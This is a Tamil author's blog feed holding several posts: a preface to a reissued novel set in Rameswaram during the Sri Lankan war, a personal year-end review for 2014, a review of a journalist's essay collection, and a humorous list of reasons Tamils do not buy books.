மீண்டும் மீண்டும் ராமேஸ்வரம் சென்றபோதெல்லாம் இந்தச் சிந்தனை பூதாகாரமாக உருக்கொண்டு என்னை ஆக்கிரமிக்கத் தொடங்கியது.


அது இலங்கையில் யுத்த காலம். உள்நாட்டு அரசியலே முழுதும் புரிந்திராத ராமேஸ்வரத்து மக்கள் இலங்கை அரசியலின் விளைவுகளை ஒரு சிறு பகுதியேனும் நேரடியாகச் சந்திக்க நிர்ப்பந்தப்படுத்தப்பட்டுக்கொண்டிருந்தார்கள்.


பெரிய அளவில் கல்வியோ, தொழில் வாய்ப்புகளோ இல்லாத அத்தீவில் மக்களின் பொருளாதாரம் கோயிலையும் கடலையும் மட்டுமே சார்ந்தது. ஆகவே மீன்களும் மந்திரங்களுமே அங்கு விலைபோகும் சரக்குகளாயிருந்தன. தவிரவும் விலை போகாத எதுவும் அர்த்தமுள்ளதல்ல என்னும் மனப்பான்மையும் பொதுவில் உருவாகி வேரோடிவிட்டிருந்தது.


ஓரிரு வருட இடைவெளியில் மீண்டும் இலங்கையில் யுத்தம் தீவிரமடைந்து ஏராளமான மக்கள் அகதிகளாக ராமேஸ்வரத்துக்கு வந்து இறங்கிக் கொண்டிருந்தபோது மீண்டும் ராமேஸ்வரம் சென்றேன். அம்முறை உள்ளூர் அரசியல் தன் பங்குக்கு எந்தளவு அத்தீவைச் சுரண்டித் தின்றுகொண்டிருந்தது என்பதை நேரடியாகக் காண முடிந்தது. செய்திக் கட்டுரை எழுதும் நோக்கில்தான் நான் அப்போது போயிருந்தேன். ஆனால் என்னால் அது முடியவில்லை. எழுதத் தொடங்கியபோது அது ஒரு கதையாக வர ஆரம்பித்தது. ஒரு கட்டத்தில் அது என்னைக் கொண்டு தன்னை எழுதிக்கொண்டது.


கல்கியில்தான் இதைத் தொடராக எழுதினேன். எழுத ஆரம்பித்த இரண்டாவது வாரமே கல்கியில் இருந்து நான் விலகிவிட்டேன். ஆனாலும் தொடர் முழுமையாக வெளிவந்து நிறைவு கண்டது.


அப்போதெல்லாம் அநேகமாக மாதம் ஒருமுறையாவது ராமேஸ்வரத்துக்குப் போய்வந்துகொண்டிருந்தேன். அந்நகரின் இண்டு இடுக்குகள் அனைத்தும் எனக்கு அத்துப்படி. ஆரவாரமற்ற கடலும் அமைதியற்ற நகரமும் அத்தீவின் நிரந்தரக் குறியீடுகள். அந்தப் பேரமைதியையும் பெரும் சத்தத்தையுமே இந்நாவலின் மொழியாக உருமாற்றம் செய்தேன். பல நாள் தனுஷ்கோடிக் கரையில் இரவெல்லாம் பகலெல்லாம் கடலைப் பார்த்தபடி வெறுமனே அமர்ந்து கிடப்பேன். சத்ருக்னன் சங்குக்குள் கிரகப்பிரவேசம் செய்து சென்ற காட்சியை அங்கேதான் தரிசனமாகப் பெற்றேன். மிகச் சிறிய குறியீடுதான். ஆனால் அந்த ஒரு காட்சிதான் இந்த முழுக்கதைக்குமே அஸ்திவாரமாக அமைந்தது.


கல்கி ஆசிரியர் சீதாரவிக்கு நான் மிகவும் கடமைப்பட்டிருக்கிறேன். இக்கதை இந்த வண்ணம் உருப்பெற்றிருப்பதற்கு என்மீது அவர் கொண்டிருந்த நம்பிக்கையும் அன்புமே காரணம். பல்லாண்டு காலமாக இந்நாவல் மறு பிரசுரம் இல்லாமல் இருந்தது. இப்போது மீண்டும் மதி நிலையம் மூலமே இது சாத்தியமாகியிருக்கிறது. மெய்யப்பனுக்கு என் அன்பு.


பா. ராகவன்

ஜனவரி 05, 2015


[வெளிவரவிருக்கும் அலை உறங்கும் கடல் – நாவல் மீள் பிரசுரத்தின் முன்னுரை]


Copyright © 2008-2011 Pa Raghavan .
This feed is for personal, non-commercial use only.
The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright.
)
 •  0 comments  •  flag
Share on Twitter
Published on January 05, 2015 06:49

December 25, 2014

இந்த வருடம் என்ன செய்தேன்?

கடந்த பத்தாண்டுகளில் இந்த வருடம்தான் மிக அதிகமாகப் படித்தேன் என்று நினைக்கிறேன். எப்படியும் நூறு புத்தகங்களுக்குக் குறையாது. தினசரி படுக்கப் போகுமுன் கண்டிப்பாக ஐம்பது பக்கங்கள் என்று கணக்கு வைத்துக்கொண்டேன். அதே மாதிரி சந்தியா காலங்களில் தலா இருபத்தி ஐந்து பக்கங்கள். திருக்குறளுக்கான பரிமேலழகர் உரையை முழுதாக வாசித்து முடித்தேன். ஆனால் அவ்வப்போது எடுத்து வைத்த குறிப்புகளில் ஒன்றைக்கூடப் புரட்டிப் பார்க்க நேரம் கிட்டவில்லை. இந்த வருடம் சினிமா தொடர்பாக நிறைய புத்தகங்கள் படிக்க நேர்ந்தது. ஆனால் பெரிதாக எதுவும் மனத்தில் நிற்கவில்லை. வாசித்ததில், தமது தந்தையாரைக் குறித்து ஏவிஎம் குமரன் எழுதிய புத்தகம் மகத்தான ஏமாற்றமளித்ததைச் சொல்லவேண்டும். இதைக் காட்டிலும் ஏவிஎம்மே எழுதிய (அவர் சொல்லி, பால்யூ எழுதிய) தன் வரலாறு அருமையாக இருக்கும். மணிரத்னத்தின் சினிமா படிக்க ஆரம்பித்துப் பாதியில் நின்றுவிட்டது. முடிக்க முடியுமா என்று தெரியவில்லை. மகாத்மா காந்தி நூல்களின் முழுத்தொகுப்பு வாங்கியிருக்கிறேன். ஜனவரி முதல் அதுதான். அடுத்த வருடம் முழுவதற்கும்.


O


சென்ற வருடம் மானாவாரியாக ஏகப்பட்ட சீரியல்கள் செய்துகொண்டிருந்தேன். இவ்வருடம் அவற்றைக் கணிசமாகக் குறைத்தேன். அப்படியும் நேரம் போதாத அவஸ்தை தொடரவே செய்கிறது. ஆறு சீரியல்களுக்கு எழுதிக் கொண்டிருந்த அதே நேரத்தில் இப்போது இரண்டு, மூன்று எழுதவே நாக்கு தள்ளுகிறது. கடந்த மே முதல் இன்றுவரை ஐந்து அழைப்புகளை மரியாதையுடன் வேண்டாமென்று நிராகரித்திருக்கிறேன். இதனால்தான் கொஞ்சமாவது படிக்க முடிந்திருக்கிறது என்பதை விழிப்புடன் கவனிக்கிறேன்.


ajanthaஇந்த வருடப் படுதோல்வி என்றால் செல்லக்கிளி. கிளி ஏன் பாதியில் செத்தது என்று இன்றுவரை புரியவில்லை. சீரியல் நன்றாகவும் ரேட்டிங் ஒழுங்காகவும் இருந்தும் ஏனோ நூறு எபிசோட்களில் முடித்துவிடச் சொல்லிவிட்டார்கள். அத்தனை அதிகாலை ஸ்லாட்டிலும் நிறையப் பேரை நிமிர்ந்து உட்காரச் செய்த இயக்குநர் செந்தில்குமாரின் தொடர்பும் நட்பும்தான் அதன் ஒரே மகிழ்ச்சி.


இந்த வருடம் புதிதாக ஒப்புக்கொண்டு, இன்றுவரை சிறப்பாகப் போய்க்கொண்டிருப்பது கல்யாணப் பரிசு. பகல் நேரத் தொடர்களில் அது முதலிடத்தை பிடித்திருப்பது டிசம்பரின் மகிழ்ச்சி.


இரண்டு வருடங்களைக் கடக்கும் வாணி ராணியில் அதே உற்சாகத்துடன் எழுதிக்கொண்டிருக்கிறேன். பூரண சுதந்தரமென்பது இங்கு கிடைப்பதுதான். இதை எழுதிக்கொண்டிருக்கும் நேரம், அஜந்தா டிவி அவார்ட்ஸின் இந்த வருட சிறந்த வசனகர்த்தா விருது வாணி ராணிக்காக எனக்கு அறிவிக்கப்பட்டிருக்கும் செய்தி வந்திருக்கிறது. வாணி ராணி வசனத்துக்குக் கிடைக்கும் இரண்டாவது விருது இது.


O


நவம்பர் வரை ஒரு படம் கூடப் பார்க்க முடியவில்லை. சென்ற மாதம் மூச்சைப் பிடித்துக்கொண்டு ஒரு மாத கல்யாணப் பரிசுக்கான காட்சிகளை ஒரே மூச்சில் எழுதி அனுப்பிவிட முடிந்ததால் சேர்ந்தாற்போல் ஒரு ஏழெட்டு நாள் ஓய்வு கிடைத்தது. அந்த நேரத்தில் சில படங்கள் பார்த்தேன். பார்த்ததில் பிடித்தது திருடன் போலிஸ். அடுத்தபடியாக அப்புச்சி கிராமம். எப்படியும் முகமூடி பார்த்துவிடுவேன். நான் போவதற்குள் அது போய்விடாதிருக்க வேண்டும்.


O


வருடம் முழுதும் ஒரு வெளியூர்ப் பயணம் கூட இல்லை என்பது மிகுந்த வருத்தம் தருகிறது. சென்ற முழு வருடப் பரீட்சை முடிந்ததும் எங்காவது போகலாமா என்று மகள் கேட்டாள். பதில்கூடச் சொல்ல முடியாமல் ரொம்ப வெட்கப்பட்டேன். அடுத்த வருடம் இம்மாதிரி இருக்கக்கூடாது என்று நினைத்துக்கொண்டிருக்கிறேன்.


O


roomபல்லாண்டுகாலக் கனவு இந்த வருடம் நனவானது. புண்ணிய க்ஷேத்திரமாம் குரோம்பேட்டையில் சொந்தமாக ஒரு ஃப்ளாட் வாங்கிக் குடிபோனேன். என் உத்தியோகத்துக்குக் கோடம்பாக்கம்தான் சரி என்றாலும் வம்படியாக இங்கே வந்து உட்கார்ந்துகொண்டு வேலை பார்த்துக்கொண்டிருக்கிறேன். வாரத்தில் ஓரிரு தினங்களாவது வீட்டில் தங்கமுடியாமல் போகிறது. இருப்பினும் என் விருப்பத்துக்கேற்ற வசதிகளுடன் அமைத்துக்கொண்ட இந்த எழுதும் அறை என்னளவில் ஒரு சாதனை.


O


அடித்துப் பிடித்து ஜனவரிக்கு மூன்று புதிய புத்தகங்களைக் கொண்டுவந்துவிடுகிறேன். சந்து வெளி நாகரிகம், இங்க்கி பிங்க்கி பாங்க்கி, கால் கிலோ காதல் அரை கிலோ கனவு. தவிரவும் இரு மறு பதிப்புகள் வருகின்றன. அடுத்த வருடம் ஒரு நாவல் எழுதும் திட்டம் இருக்கிறது. எந்த ப்ரொட்யூசர் என்னை ஏரோப்ளேன் ஏற்றி இஸ்தான்புல்லுக்கு அனுப்பிவைக்கப் போகிறார் என்றுதான் தெரியவில்லை.


O


உடலுழைப்போ, உடற்பயிற்சியோ சுத்தமாக இல்லை. முதல்முதலாக அது குறித்த மெல்லிய கவலை வந்திருக்கிறது. ஆனால் என்ன செய்வதென்றுதான் புரியவில்லை. குரோம்பேட்டைக்கு வந்தால் வீட்டுக்குப் பக்கத்தில் நீச்சல் குளம் இருக்கிறது. உடனடியாக ஓடிப் போய் குதித்து ஒரே மாதத்தில் தமன்னா போலாகிவிடலாம் என்று நினைத்துக்கொண்டதில் ஒன்றும் குறைச்சலில்லை. ஆனால் ஒருநாள்கூடப் போக முடியவில்லை என்பதுதான் யதார்த்தம். அடுத்த வருடம் ராக்கூத்தடிப்பதைத் தவிர்க்க நினைத்திருக்கிறேன். மதியத் தூக்கத்தைத் தவிர்த்து அப்போதும் எழுதி, ராத்திரி ஒழுங்காகப் பத்து மணிக்குப் படுத்துவிட்டால் காலை ஆறு மணிக்கு எழுந்து நீச்சலுக்குப் போக முடியும். முயற்சி செய்து பார்க்கவேண்டும்.


O


கே. பாலசந்தர், கைலாசம், விகடன் பாலசுப்பிரமணியன், கூத்தபிரான். இந்த நால்வரும் வெவ்வேறு விதங்களில் வெவ்வேறு காலக்கட்டங்களில் என்னை மிகவும் பாதித்த ஆளுமைகள். இவர்கள் நால்வரும் இந்த ஆண்டு காலமானது என்னளவில் பெரிய துக்கம். விகடன் பாலசுப்பிரமணியன் அவர்களுடன் எனக்கு நேரடிப் பழக்கம் இருந்ததில்லை. ஆனால் அவரது ஆசிரியத்துவத்தின் நேர்த்தி கண்டு பல சமயம் பிரமித்திருக்கிறேன். என் விகடன் நண்பர்கள் அவரைப் பற்றிச் சொன்ன பல கதைகளைக் கேட்டு மானசீகத்தில் அவரைப் பலமுறை வணங்கியிருக்கிறேன். பத்திரிகைத் துறையில் ஒரு பெரும் நல்ல தலைமுறையை உருவாக்கியவர். அவர் கை வைத்துத் துலக்கிய எந்தப் பாத்திரமும் ஜொலிக்காது போகவில்லை என்பதை விழிப்புணர்வுடன் கவனிக்கிறேன்.


திரு கூத்தபிரானை பன்னிரண்டு வயதில் முதல் முதலில் சந்தித்தேன். வானொலி அண்ணாவாக, ரேடியோ ஸ்டேஷனில் எனக்கு முதல் முதலில் வாய்ப்புக் கொடுத்தவர். மிகப் பல வருடங்களுக்குப் பிறகு சமீபத்தில் மைலாப்பூர் ஆர்ட்ஸின் விருதளிப்பு நிகழ்ச்சியில் அவரை மீண்டும் சந்தித்தபோது கையைப் பிடித்துக்கொண்டு வெகுநேரம் பேசினார். என் பல வசனங்களை அவர் நினைவுகூர்ந்து மனப்பாடமாகச் சொன்னது உண்மையில் பிரமிப்பாக இருந்தது. உங்களிடமிருந்துதான் தொடங்கினேன் என்று நான் சொன்னபோது ஒரு குழந்தை போலவே சந்தோஷப்பட்டார். நல்ல ஆத்மா.


கே. பாலசந்தர். இப்போது எழுதினால் உடைந்துவிடுவேன். என்றாவது ஒருநாள் தனியே எழுதுகிறேன். அவரும் சரி, கைலாசமும் சரி. தனித்தனியே எனக்கு நிறைய செய்திருக்கிறார்கள். இருவருமே இன்றில்லை என்பதை ஜீரணிக்க மிகுந்த சிரமமாக உள்ளது.


O


பல வருடங்களுக்குப் பிறகு இந்த வருடம்தான் ஓய்வுக்காக மிகவும் ஏங்கினேன். ஆனால் ஒருநாளும் அது கிடைக்கவில்லை. வழக்கத்தைக் காட்டிலும் அதிக சோர்வை உணர்கிறேன். 2015ல் எப்படியாவது தினசரி ஆறு மணிநேரமாவது ஒழுங்காகத் தூங்கிவிடவேண்டும் என்பது வீர சபதம்.


O


நண்பர்கள் அனைவருக்கும் முன் தேதியிட்ட புத்தாண்டு – பொங்கல் நல்வாழ்த்துகள். புத்தகக் கண்காட்சியில் சந்திப்போம்.


Copyright © 2008-2011 Pa Raghavan .
This feed is for personal, non-commercial use only.
The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright.
)
 •  0 comments  •  flag
Share on Twitter
Published on December 25, 2014 11:56

December 18, 2014

யாருடைய எலிகள் நாம்?

தமிழகத்தில் ஒரு பத்திரிகையாளனாகக் குப்பை கொட்டுவது போன்றதொரு அவலம் வேறில்லை. விதி விலக்குகளை விட்டுவிடலாம். பெரும்பாலான பத்திரிகையாளர்களுக்குப் பெரும் பிரச்னை, சம்பளமல்ல. அவர்களது சுய சிந்தனை காயடிக்கப்படுவதுதான். நிறுவனத்தின் குரலைத் தன் குரலாக்கிக் கொள்வது தவிர அவர்களுக்கு வேறு வழியிருக்காது. நிறுவனத்தின் குரல் பி. சுசீலா குரல்போல மாறினால் இதழாளன் குரலும் சுசீலா குரலாக மாறும். நிறுவனம் பெங்களூர் ரமணியம்மா மாதிரி பாடினால் அவனும் அங்ஙனமே பாடவேண்டும். அவர்கள் பி.எஸ். வீரப்பா மாதிரி சிரித்தால் இவர்கள் எம்.என். நம்பியார் மாதிரி கூட மாற்றிச் சிரிக்க முடியாது.


மிகவும் அடித்தட்டு தொடங்கி வெகு மேல்மட்டம் வரை இந்தப் போக்கு வேரோடி, புரையோடிவிட்டபடியால்தான் தமிழில் பத்தி எழுத்து என்பது வெகு சமீப காலம் வரை பெரிதாக அங்கீகரிக்கப்படாதிருந்தது. இணையம் – குறிப்பாக சமூக வலைத்தலங்களின் தாக்கம் அதிகரித்து, வாசகன் பத்திரிகையை மட்டுமே செய்திக்கும் சிந்தனைக்கும் நம்பியிருக்க வேண்டிய நிலைமை மாறத் தொடங்கியபோதுதான் பத்திரிகைகள் தம்மை மாற்றிக்கொள்ளவேண்டிய கட்டாயத்துக்குத் தள்ளப்பட்டன.


ஒரு வகையில் சமஸ் அதிர்ஷ்டசாலி. அவர் இதழியல் துறையில் தீவிரமாகச் செயல்படத் தொடங்கிய நேரத்தில் நிர்ப்பந்தங்களின் கோரப்பிடி சற்றுத் தளரத் தொடங்கியிருந்தது. சமஸ் போன்ற ஒரு சுய சிந்தனையாளருக்கு இந்த சௌகரியம் அவசியம். ஏனெனில் ஒரு செய்தியை ஜோடனையற்று அவர் காட்சிப் படுத்துவதோடு நிற்பதில்லை. அதன் மீதான தனது விமரிசனத்தை அழுத்தமாக முன்வைத்து முடிப்பதுதான் ஒரு சமூகப் பொறுப்பாளியாகத் தனது கடமையைச் சரியாகச் செய்ததற்குச் சான்று என்று கருதுபவர்.


இந்தப் புத்தகத்தில் உள்ள கட்டுரைகளைக் காட்டிலும் சமஸ் ஒவ்வொரு பிரச்னையின் மீதான தனது கண்ணோட்டத்தை அழுத்தமாகப் பதிவு செய்திருப்பதையே நான் மிகவும் ரசிக்கிறேன். ஆங்காங்கே கொஞ்சம் இடப்பக்க வாசனை அடிப்பது எனக்குத் தனிப்பட்ட முறையில் கொஞ்சம் தும்மல் வரவைப்பது என் பிரச்னை. ஆனால் தான் நம்பும் ஒன்றை சொற்சமரசமின்றி கூர்மை குன்றாமல் முன்வைப்பதில் சமஸ் பின்வாங்குவதே இல்லை. அவருக்கு வசதியாகத் தளங்கள் அமைந்தது அவரது அதிர்ஷ்டம். I repeat, அதிர்ஷ்டம்.


பக்க அளவிலும் கொஞ்சம் கனமான புத்தகம்தான். தினமணி முதல் தி ஹிந்து வரையிலான காலக்கட்டத்தில் அவ்வப்போது சமஸ் எழுதிய கட்டுரைகளின் தொகுப்பு இது. பத்திரிகை செய்திக் கட்டுரைகளுக்கு ஆயுசு அதிகம் கிடையாது என்னும் மூட நம்பிக்கையைத் தகர்க்கும் கட்டுரைகள். உதாரணமாக, கலைஞர் காலத்தில் கட்டப்பட்டு ஜெயலலிதாவால் கிட்டத்தட்ட காலி பண்ணப்பட்ட கோட்டூர்புரம் நூலகத்தைப் பற்றிய ஒரு கட்டுரையைச் சொல்வேன். எழுத்தில் செருப்பால் அடிப்பது என்றால் இதுதான். இத்தனை துணிவாக, வெளிப்படையாக, உண்மையின், சத்திய ஆவேசத்தின் தகிப்புடன் ஒரு வெகுஜன இதழில் இந்தக் கட்டுரை வெளிவந்திருக்கிறது. நியாயமாக நம் சமூகம் என்ன செய்திருக்க வேண்டும்? அல்லது ஜெயலலிதா என்ன செய்திருக்க வேண்டும்?


அரசு செய்யத் தவறியதை மக்களும் தட்டிக் கேட்பதில்லை. தட்டிக் கேட்டாலும் அரசு காதில் போட்டுக்கொள்வதில்லை என்பதுதான் எத்தனை சௌகரியமான பழைய ஏற்பாடு? இத்தனை காலம் கழித்து இந்தக் கட்டுரையை மீண்டும் வாசிக்கும்போது அன்று ஏற்பட்ட அதே பதைப்பு இப்போதும் ஏற்படுவதைத் தவிர்க்க முடியவில்லை. நூலகம் இன்றும் இருக்கிறதென்றாலும் அது கட்டப்பட்டதன் நோக்கம் அழித்துப் புதைக்கப்பட்டுவிட்டதை எண்ணி வருந்தாதிருக்க முடிவதில்லை.


சமஸின் எழுத்தில் நம்மை வசீகரிக்கும் இன்னொரு முக்கியமான விஷயம், அவரது வரலாற்றுத் தெளிவு. சரியான தரவுகளின்றி அவர் எதையும் எழுதுவதில்லை. 2012 அசாம் கலவரங்கள் குறித்து எழுதும்போது (நமக்கு ஏன் உறுத்தவில்லை?) சுதந்தர இந்தியாவின் ஆகப்பெரிய கலவரங்கள் அனைத்தையும் ஒரு பார்வையில் சுட்டிக்காட்டிவிடுகிறார். இந்தக் கலவரதாரிகள் யாரும் எக்காலத்திலும் தண்டிக்கப்படாததைச் சொல்லி, இனப்படுகொலைகளின் நடுவே நமது சுதந்தரத்தைக் கொண்டாடிக்கொண்டிருக்கிறோம் என்று முடிக்கிறார்.


நவீன உலகில் கலவரங்கள் தொடங்கி புரட்சிகள் வரை அனைத்தும் அரசியல்வாதிகளால் தீர்மானிக்கப்பட்டு அரசியல்வாதிகளால் நடத்தப்பட்டு அரசியல்வாதிகளாலேயே கைகழுவப்பட்டுவிடுபவை. மக்கள் இதில் பகடைக்காய்களாக மட்டுமே பெரும்பாலும் பயன்படுத்தப்படுகிறார்கள். இதனால்தான் அரசியல் தளத்தில் நிகழும் எதற்கும் மக்கள் மத்தியில் பெரும் வரவேற்போ அல்லது கடும் கண்டனமோ எழுவதில்லை. நரி இடமாய்ப் போனாலென்ன; வலமாய்ப் போனாலென்ன; மேலே விழுந்து பிடுங்காது போனால் சரியென்னும் மனோபாவம் உருவாகிவிட்டது. அசாமிய இந்தியனுக்காகத் தமிழக இந்தியன் பெரிய கவலை கொள்ளாததற்கும் தமிழக இந்தியனுக்காக ஒரு பீகாரி இந்தியனோ ஒடிய இந்தியனோ அக்கறையுடன் குரல் கொடுக்காததற்கும் இதுவன்றி வேறு காரணமில்லை. எப்போதாவது பாகிஸ்தான் வடக்கே ஊடுருவத் தொடங்கினால் மட்டும் இந்திய ஒருமைப்பாடு சாகாதிருப்பதை உணர முடிகிறதே தவிர மற்ற தருணங்களில் அதற்குப் பெரிய வேலை கொடுக்காமல் பார்த்துக்கொள்வதில் அரசியல்வாதிகள் விற்பன்னர்களாகவே இருக்கிறார்கள்.


எல்லாம் பிரிட்டிஷ்காரர்கள் கற்றுக் கொடுத்த பிரித்து வைத்தாளும் உத்திதான். யாரையும் குறை சொல்லிப் பயனில்லை. குறைந்தபட்சம் நமது காலத்தில் என்ன நிகழ்கிறது என்னும் தெளிவாவது தேவைப்படுகிறது. சமஸின் நூல் அதைத்தான் செய்கிறது.


அரசியல், சமூகத் தளங்களில் நிகழும் முக்கியமான எந்த சம்பவத்தையும் சமஸ் விட்டுவைப்பதில்லை. நடப்பதைக் கூர்மையாகக் கவனிக்கிறார். செய்தியை முலாமின்றி முன்வைத்துவிட்டு அதன்மீது தனது கூரிய விமரிசனங்களால் கையெழுத்திடுகிறார். எல்லாம் எல்லாருக்கும் உவப்பானதாக இருக்கவேண்டுமென்பதில்லை. ஆனால் என்றாவது ஒரு சமயம் எல்லோரும் நினைவுகூரத்தான் வேண்டும்.


அதற்கு இத்தகைய சமகால வரலாற்று நூல்களன்றி வேறு உதவிக் கருவியில்லை. சமஸின் கருத்துகளை நீங்கள் வெறுக்கலாம், விமரிசிக்கலாம், விவாதித்துக் குப்பை என்று அள்ளிக் கொட்டலாம் அல்லது கொண்டாடவும் செய்யலாம்.


ஆனால் நிச்சயமாக நிராகரித்துவிட்டுப் போகமுடியாது. நடப்புக் காலக்கட்டத்தில் தமிழில் ஆக முக்கியமானதொரு பத்திரிகையாளராக சமஸைத்தான் எனக்கு சொல்லத் தோன்றுகிறது.


யாருடைய எலிகள் நாம்? | சமஸ் | துளி வெளியீடு | தொடர்புக்கு: thuliveliyeedu@gmail.com, samasbooks@gmail.com | பேசி: 9444204501


Copyright © 2008-2011 Pa Raghavan .
This feed is for personal, non-commercial use only.
The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright.
)
 •  0 comments  •  flag
Share on Twitter
Published on December 18, 2014 21:09

December 2, 2014

தமிழன் ஏன் புத்தகம் வாங்குவதில்லை?

புத்தகக் கண்காட்சி நெருங்கும் நேரத்தில் எழுத்தாளர்களை எப்போதும் ஒரு பதற்றம் தொற்றிக்கொண்டு விடுகிறது. எழுதுவது குறித்த பதற்றம் இல்லை அது. எத்தனை கிலோ அல்லது கிலோபைட் வேண்டும்? இந்தா சாப்டு என்று அள்ளிப் போட அவர்களால் முடியும். பிரச்னை வாசகர்கள் சார்ந்தது.


இந்தத் தமிழ் வாசகர்கள் ஏன் புத்தகம் வாங்குவதில்லை? உலகமெங்கும் சுமார் நூற்றுக்கும் மேற்பட்ட கோடித் தமிழர்கள் இருக்கிறார்கள். பரதேசி, இதில் பத்து விழுக்காட்டினர் கூட ஏன் புத்தகம் வாங்கிப் படிப்பதில்லை? தார்மிகக் கோபம், அறச் சீற்றம், சுய ஆதங்கம் உள்ளிட்ட சகலமான கெட்ட சமாசாரங்களும் புவிக்கடியில் பொங்கும் சரஸ்வதி நதியென மனத்துக்குள் பொங்கிப் பீறிடும் தருணம்.


சமீபத்தில் ஃபேஸ்புக்கில் நண்பர் ஒருவர் (இவர் நண்பரொருவர் அல்லர்) தென் கொரியாவின் புத்தகச் சந்தை குறித்து ஒரு குறிப்பை எழுதியிருந்தார். எத்தனையோ மில்லியன் டாலர்களுக்குப் புத்தகங்கள் அங்கே விற்கின்றவாம். வருடம் தோறும் எழுத்தாளப் பணக்காரர்களை உருவாக்கித் தூக்கித் தூக்கிப் போட்டுக்கொண்டிருக்கிறதாம் அந்தக் குட்டி தேசம்.


கஷ்டம்தான். தங்கத் தமிழ் எழுத்தாளர்கள் சிந்திக்க வேண்டிய விஷயம்தான். அதற்காக நாம் கொரிய மொழி கற்றுக்கொண்டு அங்கு போயா குப்பை கொட்ட முடியும்? சுத்த நான்சென்ஸ்.


ஏதோ என்னால் முடிந்தது, தமிழன் ஏன் புத்தகம் வாங்குவதில்லை என்பதற்கான காரணங்களைத் துப்பறிய ஓர் உரத்த சிந்தனை மேற்கொண்டேன். அவை பின்வருமாறு :-


1) தமிழனுக்கு எப்போதும் டயமிருக்காது

2) தமிழன் கனமான பொருட்களைத் தூக்க விரும்புவதில்லை

3) தமிழன் பிறவி பிடிஎஃப் பிரியன்

4) இலவச வேட்டி, இலவச சேலை, இலவச டிவி, இலவச அரிசி, இலவச மின்சாரம் என அனுபவித்துப் பழகிய தமிழனுக்கு இந்த சமூகம் இலவசப் புத்தகங்களைத் தருவதில்லை

5) தமிழன் ஆங்கிலப் புத்தகங்களை மட்டுமே படிப்பான்

6) தமிழனின் பெண்டாட்டி பெரும்பாலும் படிக்க விடுவதில்லை

7) தமிழனின் சம்பளம் கம்மி.

8) தமிழ்ப் புத்தகங்களில் ப்ரூஃப் மிஸ்டேக்குகள் அதிகம்

9) தமிழ் எழுத்தாளர்கள் தங்களைத் தமிழனைவிடப் பெரிய பருப்பு என எண்ணிக்கொள்கிறார்கள்

10) தமிழனுக்கு டிவி சீரியல் இருக்கிறது

11) தமிழனுக்குத் திருட்டு சிடி இருக்கிறது

12) படுத்துக்கொண்டு படித்தால் வீட்டில் திட்டுகிறார்கள்

13) தமிழன் போகும் கடைகளில் தமிழ்ப் புத்தகங்கள் இருப்பதில்லை

14) தமிழன் விரும்பும் எழுத்தாளரின் புத்தகம் இம்முறை வெளியாகவில்லை

15) தமிழனின் மனைவி லெண்டிங் லைப்ரரி கார்டு வைத்திருக்கிறாள்

16) தமிழன் நண்பர்களிடம் வாங்கிப் படிப்பதையே விரும்புவான்

17) தமிழனுக்குத் தமிழ் பேசத்தான் தெரியும். dont know to read in டாமில்

18) தமிழன் கத புக்ஸ்தான் படிப்பான். ஆனால் மாத நாவல்களின் வரத்து குறைந்துவிட்டது

19) தமிழன் ரிடையர்மெண்ட்டுக்கு அப்புறம் புத்தகம் வாங்க நினைத்திருக்கிறான். இப்போது மகள் திருமணத்துக்குக் காசு சேர்க்கிறான்

20) எல்லா தமிழனும் எழுத்தாளனே. ஒரு எழுத்தாளன் இன்னொரு எழுத்தாளனின் புத்தகத்தை ஏறெடுத்தும் பார்க்க மாட்டான்.


Copyright © 2008-2011 Pa Raghavan .
This feed is for personal, non-commercial use only.
The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright.
)
1 like ·   •  0 comments  •  flag
Share on Twitter
Published on December 02, 2014 05:52